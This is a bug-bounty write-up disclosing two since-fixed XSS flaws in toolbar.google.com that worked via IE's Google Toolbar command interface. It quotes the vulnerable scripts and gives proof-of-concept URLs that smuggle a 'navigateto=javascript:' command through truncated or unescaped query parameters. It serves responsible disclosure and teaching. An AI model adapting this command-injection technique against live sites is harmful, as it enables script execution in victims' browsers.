In this post, I would like to share two XSSes in toolbar.google.com. I discovered in June 2015 and it has already been fixed.
Those bugs are a little unusual. It works only IE which Google Toolbar is installed.
IE's Google Toolbar has some special commands. We can execute from web UI of toolbar.google.com.
For example, you can find the command from:
http://toolbar.google.com/fixmenu
<script language="JavaScript"> <!--
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
}
function fixMenu() {
command('&fixmenu=1');
alert(document.all['restartmessage'].innerText)
}
// -->
</script>
....
<input type=button onclick='javascript:fixMenu()' value="Reset IE's Toolbar menu">
You can reset toolbar settings when you clicked the button in this page. How does it execute command? Let's take a look at
command()
function.
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
Usually, we will jump to "http://toolbar.google.com/command?..." by this code. But on IE which Google Toolbar is installed, the navigation to "http://toolbar.google.com/command" is treated as special command. To execute command, we will need to put command name to query string. As you can see above page,
fixmenu=1
is associated with the reset settings.
document.googleToken
is used for CSRF token.
document.googleToken
is random value which is set by Google Toolbar. If the token is not correct, the command execution will fail. toolbar.google.com is the only domain which can access the token.
OK, that's about it.
Examine Toolbar's command
First, to find commands, I explored content on toolbar.google.com and toolbar's binary. Then, I noticed
navigateto
command. As its name suggests,
navigateto
command is used for navigation. When I put the following script into IE's developer console on toolbar.google.com, it was actually worked. It took me to example.com.
(Note: It seems this command was removed on latest Google Toolbar )
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=http://example.com/"
Also I tested javascript: URL.
location="http://toolbar.google.com/command?key="+document.googleToken+"&navigateto=javascript:alert(1)"
Then I got an alert dialog! But It's too early to rejoice because we can't know
document.googleToken
from external page. In other words, if an attacker can get
document.googleToken
, it becomes XSS hole directly.
XSS part 1
I went around to resources of toolbar.google.com domain and I found the following page:
http://toolbar.google.com/dc/dcuninstall.html (
WebArchive)
<script language="JavaScript"> <!--
function command(s) {
window.location = 'http://toolbar.google.com/command?key=' + document.googleToken + s;
}
function OnYes() {
var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
// window.location=path + "dcuninstallfailed.html";
}
// -->
</script>
...
<script language="JavaScript"> <!--
document.write('<button default class=button name=yes ');
document.write('onclick="OnYes(); ">Uninstall Google Compute</button>');
// -->
</script>
The page has the button which can execute command. If button is clicked, it calls
command("&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=" + path + "dcuninstalled.html");
function via
OnYes()
function.
Let's put command details aside, take a look at the
path
variable. The
path
variable is set by the following line:
var path = document.location.href.substring(0,document.location.href.lastIndexOf("/") + 1);
It cuts
location.href
to use as command string. I believe that the coder expects following bold string:
https://toolbar.google.com/dc/dcuninstall.html
But this code is not good. If the URL has
/
in the query or hash, it will cut unexpected URL string.
https://toolbar.google.com/dc/dcuninstall.html?xxx/yyy
So, what will happen if we put the following string?
https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//
This URL is assigned into the path
variable and it is used for the part of the command string, like this:
http://toolbar.google.com/command?key=[TOKEN]&uninstall-dc=anyway&DcClientMenu=false&EnableDC=false&navigateto=https://toolbar.google.com/dc/dcuninstall.html?&navigateto=javascript:alert(1)//dcuninstalled.html
There are two
navigateto
in this command. In this case, it seems the back string is used as the command. Therefore, the command navigates us to
javascript:alert(1)//dcuninstalled.html
!!
In this way, I have achieved XSS without knowing
document.googleToken
.
XSS part 2
After that, I found another interesting page:
https://toolbar.google.com/buttons/edit/index.html
<script language=JavaScript>
<!--
document.custom_button_uid = "";
function command(s) {
window.location = "http://toolbar.google.com/command?key=" +
document.googleToken + s;
}
function Load() {
var url = window.document.URL.toString();
var url_pieces = url.split("?");
if (url_pieces.length > 1) {
var params = url_pieces[1].split("&");
var i = 0;
for (i = 0; i < params.length; i++) {
param_pieces = params[i].split("=");
if (param_pieces.length == 2 &&
param_pieces[0] == "custom_button_uri" &&
param_pieces[1].length > 0) {
document.custom_button_uid = unescape(param_pieces[1]);
}
}
}
if (document.custom_button_uid != "") {
action.innerHTML = document.forms[0].edit_mode_title.value;
command("&custom-button-load=" + document.custom_button_uid);
}
}
....
// -->
</script>
<body onload="Load()">
Let's take a look at this code.
First,
Load()
function is called:
<body onload="Load()">
Load()
function sets
document.URL
string to
url
variable:
var url = window.document.URL.toString();
The query is decomposed and parameter name and value are took out. Then, as you can see the bold string below, the code tries to find
custom_button_uri
parameter. If it can find the parameter, it assigns the parameter value to the
document.custom_button_uid
variable.
var url_pieces = url.split("?");
if (url_pieces.length > 1) {
var params = url_pieces[1].split("&");
var i = 0;
for (i = 0; i < params.length; i++) {
param_pieces = params[i].split("=");
if (param_pieces.length == 2 &&
param_pieces[0] == "custom_button_uri" &&
param_pieces[1].length > 0) {
document.custom_button_uid = unescape(param_pieces[1]);
}
}
}
The
document.custom_button_uid
variable is passed to
command()
function:
if (document.custom_button_uid != "") {
action.innerHTML = document.forms[0].edit_mode_title.value;
command("&custom-button-load=" + document.custom_button_uid);
}
This means that user input is passed into command via the
custom_button_uri
query parameter.
Let's take a look at the assignment part again:
document.custom_button_uid = unescape(param_pieces[1]);
Fortunately, the custom_button_uri
value passes through unescape()
method! This means that we can put urlencoded &
and =
, like this:
https://toolbar.google.com/buttons/edit/index.html?custom_button_uri=
%26navigateto%3Djavascript:alert(document.domain)
Finally, the command string is:
http://toolbar.google.com/command?key=[TOKEN]&custom-button-load=&navigateto=
javascript:alert(document.domain)
Done!
Rewards
I reported the bugs via
Google VRP and I received the reward of $3133.7 × 2.
It is not easy to find and understand non-documented commands, but it was a fun time.
And finally, I would like to introduce the holiday gift that I received from Google last year.
(You can find past gifts from:
Chromebook,
Nexus 10,
Nexus 5,
Moto 360 )
It is the
USB Armory, Bug Bountopoly and post card!
Stephen of Google Security Team gave me the Japanese message and
bug hunter's llustration. It's so lovely!
I will continue the bug reports again this year. Thank you so much!